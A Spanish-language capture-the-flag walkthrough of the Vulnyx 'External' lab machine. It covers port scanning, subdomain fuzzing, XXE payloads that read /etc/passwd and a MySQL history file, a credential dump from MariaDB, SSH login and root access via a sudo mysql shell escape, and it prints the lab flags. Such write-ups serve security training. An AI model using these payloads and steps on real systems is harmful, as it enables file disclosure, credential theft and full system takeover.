External Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 03:24 EDT
Nmap scan report for 192.168.5.77
Host is up (0.00093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.56 (Debian)
3306/tcp open mysql MariaDB 5.5.5-10.5.19
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.5.19-MariaDB-0+deb11u2
| Thread ID: 7
| Capabilities flags: 63486
| Some Capabilities: Speaks41ProtocolNew, FoundRows, ConnectWithDatabase, Support41Auth, LongColumnFlag, DontAllowDatabaseTableColumn,
SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, IgnoreSigpipes, SupportsCompression, ODBCClient, IgnoreSpaceBeforeParenthesis,
InteractiveClient, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: WRri8wrU4@(Eb@VqU4F@
|_ Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:EF:7C:D9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
Veremos varios puertos interesantes, entre ellos el puerto 80
y el 3306
, vamos a ver que pagina contiene el puerto 80
, entrando dentro veremos que nos da un error 404
como si no encontrara nada, pero si inspeccionamos el codigo bajando abajo del todo veremos lo siguiente comentado:
<!--
[Pending Tasks]
configure DNS: ext.nyx
-->
Veremos que nos esta dando un dominio
el cual vamos añadirnos a nuestro archivo hosts
para despues entrar en dicho dominio.
nano /etc/hosts
#Dentro del nano
<IP> ext.nyx
Lo guardamos y entramos a dicho dominio.
URL = http://ext.nyx/
Veremos la misma pagina que antes, vemos que no nos esta redireccionando a ningun sitio nuevo, por lo que vamos a realizar un poco de fuzzing
a nivel de subdominios
a ver que vemos.
FFUF
ffuf -c -w <WORDLIST> -u http://ext.nyx -H "Host: FUZZ.ext.nyx" -fs 258
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ext.nyx
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Header : Host: FUZZ.ext.nyx
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 258
________________________________________________
administrator [Status: 200, Size: 1089, Words: 340, Lines: 26, Duration: 27ms]
:: Progress: [20469/20469] :: Job [1/1] :: 68 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
Veremos que hemos descubierto el subdominio
llamado administrator
, por lo que vamos añadirlo en nuestro archivo hosts
de esta forma:
nano /etc/hosts
#Dentro del nano
<IP> ext.nyx administrator.ext.nyx
Guardamos el archivo y entraremos a dicho subdominio
que veremos lo siguiente:
URL = http://administrator.ext.nyx/
Info:

Vemos que hay un panel de admin
bastante interesante, si probamos credenciales por defecto no va a funcionar, si intentamos un SQLi
tampoco va a funcionar, una fuerza bruta
no va a servir, por lo que vamos a investigar la peticion de forma interna con BurpSuite
.
Si abrimos BurpSuite
y enviamos algunas credenciales random para ver que hace por detras, veremos lo siguiente:
POST /form.php HTTP/1.1
Host: administrator.ext.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 103
Origin: http://administrator.ext.nyx
Connection: keep-alive
Referer: http://administrator.ext.nyx/
Priority: u=0
<?xml version="1.0" encoding="UTF-8"?>
<details>
<email>
admin
</email>
<password>
admin
</password>
</details>
Veremos algo muy interesante y es que esta utilizando XML
, vamos a probar una vulnerabilidad famosa llamada XXE
, si le damos a enviar y ponemos en BurpSuite
que capture tambien la respuesta del servidor, veremos que muestra el nombre de admin
en texto plano, por lo que ese va a ser nuestra injeccion de leer archivos quedando de esta forma:
POST /form.php HTTP/1.1
Host: administrator.ext.nyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 220
Origin: http://administrator.ext.nyx
Connection: keep-alive
Referer: http://administrator.ext.nyx/
Priority: u=0
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<details>
<email>
&xxe;
</email>
<password>
admin
</password>
</details>
Si enviamos la peticion y la capturamos veremos lo siguiente:
HTTP/1.1 200 OK
Date: Wed, 13 Aug 2025 07:44:02 GMT
Server: Apache/2.4.56 (Debian)
Vary: Accept-Encoding
Content-Length: 1537
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<p align='center'> <font color=white size='5pt'>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
admin:x:1000:1000:admin,,,:/home/admin:/bin/bash
is already registered! </font> </p>
Vemos que ha funcionado, recordemos anteriormente que teniamos un puerto MySQL
vamos a probar a intentar leer el archivo de logs
de MySQL
a ver si estuviera en la home
de dicho usuario.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/admin/.mysql_history" >]>
<details>
<email>
&xxe;
</email>
<password>
admin
</password>
</details>
Info:
<p align='center'> <font color=white size='5pt'>
ALTER USER 'root'@'%' IDENTIFIED BY 'r00tt00rDB';
exit;
is already registered! </font> </p>
Veremos que ha funcionado, encima estamos viendo las credenciales de mysql
del usuario root
vamos a probarlas para entrar.
Escalate user admin
MySQL
mysql -h <IP> -u root -pr00tt00rDB --ssl=0
Info:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 16
Server version: 10.5.19-MariaDB-0+deb11u2 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
Vamos a listar las DDBBs
a ver que vemos:
show databases;
Info:
+--------------------+
| Database |
+--------------------+
| admindb |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.019 sec)
Vamos a listar las tablas de la DDBB
llamada admindb
a ver que vemos.
use admindb;
show tables;
Info:
+-------------------+
| Tables_in_admindb |
+-------------------+
| credentials |
+-------------------+
1 row in set (0.002 sec)
Vamos a ver que contiene dicha tabla:
select * from credentials;
Info:
+------+-------+--------------------------+
| id | user | password |
+------+-------+--------------------------+
| 1 | admin | 4dminDBS3cur3P4ssw0rd123 |
+------+-------+--------------------------+
1 row in set (0.200 sec)
Vemos una contraseña en texto plano del usuario admin
vamos a probarla directamente por el servidor SSH
a ver si funcionara.
SSH
ssh admin@<IP>
Metemos como contraseña 4dminDBS3cur3P4ssw0rd123
y veremos que estaremos dentro.
Info:
admin@external:~$ whoami
admin
Vamos a leer la flag
del usuario.
user.txt
934841337017b7b43282ff826e4b8d01
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for admin on external:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User admin may run the following commands on external:
(root) NOPASSWD: /usr/bin/mysql
Vemos que podemos ejecutar el binario mysql
como el usuario root
por lo que podremos realizar lo siguiente:
sudo mysql -e '\! /bin/bash' -pr00tt00rDB
Info:
root@external:/home/admin# whoami
root
Veremos que con estos seremos root
, por lo que leeremos la flag
de root
.
root.txt
059ca941ad55fd318d68e675f85dd733
Last updated